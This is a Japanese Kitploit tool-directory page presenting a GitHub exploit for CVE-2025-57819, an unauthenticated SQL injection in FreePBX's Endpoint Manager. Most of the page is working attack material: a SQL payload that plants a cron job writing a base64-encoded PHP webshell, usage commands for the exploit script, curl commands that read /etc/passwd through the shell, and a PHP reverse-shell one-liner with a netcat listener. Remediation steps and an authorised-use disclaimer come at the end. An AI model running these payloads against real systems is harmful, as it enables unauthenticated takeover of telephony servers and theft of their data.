Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
ツール/GitHubGitHub/jf-gondim/freepbx-endpoint-sqli-rce
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト学習と教育ペイロード開発
GitHubjf-gondim/freepbx-endpoint-sqli-rce

freepbx-endpoint-sqli-rce

FreePBX Endpoint Manager における認証不要のSQLインジェクション (CVE-2025-57819)。cronでスケジュールされたPHPウェブシェルを注入し、リモートコード実行を可能にします。

リポジトリを見る
13ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2025-57819 — FreePBX Endpoint モジュール SQL インジェクション → リモートコード実行

概要

FreePBX は、Asterisk PBX のオープンソース Web GUI であり、エンタープライズテレフォニー環境で広く導入されています。Endpoint Manager モジュールは、/admin/ajax.php に AJAX ハンドラを公開しており、brand パラメータを受け取り、サニタイゼーションなしで直接 SQL クエリに展開します。認証されていないリモート攻撃者は、任意の SQL を注入し、cron_jobs テーブルに行を挿入し、FreePBX の cron デーモンに Web ルートに実行可能な PHP ウェブシェルを書き込ませることができます。これにより、約 1 分以内に認証なしのリモートコード実行が可能になります。


脆弱性の詳細

フィールド値
CVE IDCVE-2025-57819
CVSS スコア9.8 (クリティカル)
CVSS ベクターCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CWECWE-89 — SQL コマンドで使用される特殊要素の不適切な無害化
コンポーネントFreePBX Endpoint Manager モジュール
影響を受けるバージョンFreePBX 17.x (未パッチ)
修正済みバージョンFreePBX 17.x (パッチ適用済み)
攻撃ベクターネットワーク — 認証不要

技術分析

脆弱性のあるリクエストは、Endpoint Manager の AJAX コマンドハンドラをターゲットにします。

root@kitploit:~
GET /admin/ajax.php?module=FreePBX%5Cmodules%5Cendpoint%5Cajax&command=model&template=x&model=model&brand=<PAYLOAD> HTTP/1.1
Host: <target>

brand パラメータは、エスケープやプリペアドステートメントなしで SQL クエリに連結されます。攻撃者はクエリ文字列を閉じて、2 番目のステートメントを追加します。

root@kitploit:~
x' ;INSERT INTO cron_jobs
  (modulename, jobname, command, class, schedule, max_runtime, enabled, execution_order)
VALUES
  ('sysadmin', 'webshell',
   'echo "PD9waHAgc3lzdGVtKCRfR0VUW2NtZF0pOyA/Pg=="|base64 -d >/var/www/html/webshell.php',
   NULL, '* * * * *', 30, 1, 1) --

注入された cron エントリは、Web サーバー/Asterisk プロセス所有者の下で毎分実行され、以下を書き込みます。

root@kitploit:~
<?php system($_GET[cmd]); ?>

を /var/www/html/webshell.php に書き込み、HTTP 経由で認証なしの OS コマンド実行を実現します。

根本原因

Endpoint Manager の AJAX ハンドラは、パラメーター化クエリではなく文字列フォーマットを使用して SQL を動的に構築します。brand フィールドは SELECT 文に埋め込まれる前に決して検証またはエスケープされないため、簡単に注入可能になります。

攻撃チェーン

root@kitploit:~
Attacker  ──GET (SQL injection)──▶  /admin/ajax.php  ──INSERT──▶  cron_jobs table
                                                                          │
                                              FreePBX cron daemon (≤60s) │
                                                                          ▼
Attacker  ──GET ?cmd=id──────────▶  /webshell.php  ◀── written ──  cron exec

エクスプロイトの使用法

必要条件

root@kitploit:~
pip install requests urllib3

引数

root@kitploit:~
  -t, --target    Target IP address or hostname  (required)
      --timeout   Seconds to wait for target availability (default: 30)
      --delay     Seconds to wait for cron job to execute (default: 65)

手順

1. ターゲットに対してエクスプロイトを実行します:

root@kitploit:~
# Basic — wait 65 s for the cron job to fire
python3 exploit.py -t <IP>

# Use hostname
python3 exploit.py -t connected.htb

# Extended cron wait on slow targets
python3 exploit.py -t <IP> --delay 90

2. ウェブシェルが確認されたら、直接操作します:

root@kitploit:~
curl "http://<IP>/webshell.php?cmd=id"
curl "http://<IP>/webshell.php?cmd=cat+/etc/passwd"

3. ウェブシェル経由でリバースシェルにアップグレードします:

マシン上でリスナーを起動します:

root@kitploit:~
nc -lvnp <LOCAL_PORT>

次に、cmd パラメータを介して PHP リバースシェルをトリガーします (URL エンコード):

root@kitploit:~
curl "http://<IP>/webshell.php?cmd=php+-r+%27%24sock%3Dfsockopen%28%22<LOCAL_IP>%22%2C<LOCAL_PORT>%29%3Bsystem%28%22%2Fbin%2Fbash+%3C%263+%3E%263+2%3E%263%22%29%3B%27"

cmd として送信される URL デコードされたペイロードは次のとおりです:

root@kitploit:~
php -r '$sock=fsockopen("<LOCAL_IP>",<LOCAL_PORT>);system("/bin/bash <&3 >&3 2>&3");'

期待される出力

root@kitploit:~
 ╔═══════════════════════════════════════════════════════════════════╗
 ║  FreePBX Endpoint Module  ·  SQL Injection → Cron Webshell       ║
 ║                       CVE-2025-57819                              ║
 ╚═══════════════════════════════════════════════════════════════════╝
  CVE ID      :  CVE-2025-57819
  Component   :  FreePBX Endpoint Module
  Affected    :  unpatched 17.x   →  Patched: patched 17.x
  CVSS Score  :  9.8 (Critical)
  CVSS Vector :  CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
  CWE         :  CWE-89 — SQL Injection
  Type        :  Unauthenticated SQL Injection → Cron-scheduled PHP Webshell
  Reference   :  https://nvd.nist.gov/vuln/detail/CVE-2025-57819

  14:03:11 [*] Probing target <IP>  (max 30s) ...
  14:03:12 [+] Target is alive — HTTP 200

  14:03:12 [*] Inject endpoint : http://<IP>/admin/ajax.php
  14:03:12 [!] Injecting cron job via SQL injection ...

  14:03:12 [+] Injection request sent
  14:03:12 [*] Waiting 65s for cron job to fire ...
  14:04:17 [*] Probing webshell at http://<IP>/webshell.php?cmd=id ...
  14:04:17 [+] Webshell is active — command output:

    uid=997(asterisk) gid=993(asterisk) groups=993(asterisk)

  14:04:17 [+] Webshell URL: http://<IP>/webshell.php?cmd=<command>

  14:04:17 [+] Exploit routine complete.

タイミングに関する注意事項. デフォルトの --delay 65 秒により、cron デーモン (毎分の開始時に起動) が注入されたジョブを少なくとも 1 回実行する機会が確保されます。遅いターゲットの場合は、--delay 90 または --delay 120 に増やしてください。


修復策

優先度アクション
クリティカルFreePBX ベンダーの CVE-2025-57819 パッチを直ちに適用する
クリティカル既存の /var/www/html/webshell.php アーティファクトをすべて削除する
高/admin/ajax.php へのアクセスを認証済みの信頼できるネットワークソースに制限する
高Endpoint Manager 内のすべての SQL クエリを監査およびサニタイズする — プリペアドステートメントを使用する
中cron_jobs テーブルを制限する: INSERT 可能なロールを制限する
中AJAX エンドポイントでスタッククエリパターンをブロックする WAF ルールを適用する
低FreePBX/Asterisk プロセスを、Web ルートへの書き込みアクセス権がない最小特権アカウントで実行する

参考情報

  • NVD — CVE-2025-57819
  • CWE-89: SQL Injection
  • OWASP: SQL Injection
  • OWASP Top 10: A03 Injection
  • FreePBX Project
  • watchTowr Labs Reference PoC

免責事項

このエクスプロイトは、教育目的および許可されたセキュリティテスト のためにのみ提供されます。自分が所有しているか、明示的な書面によるテスト許可を得たシステムに対してのみ使用してください。無断使用は違法かつ非倫理的です。

ツールをダウンロード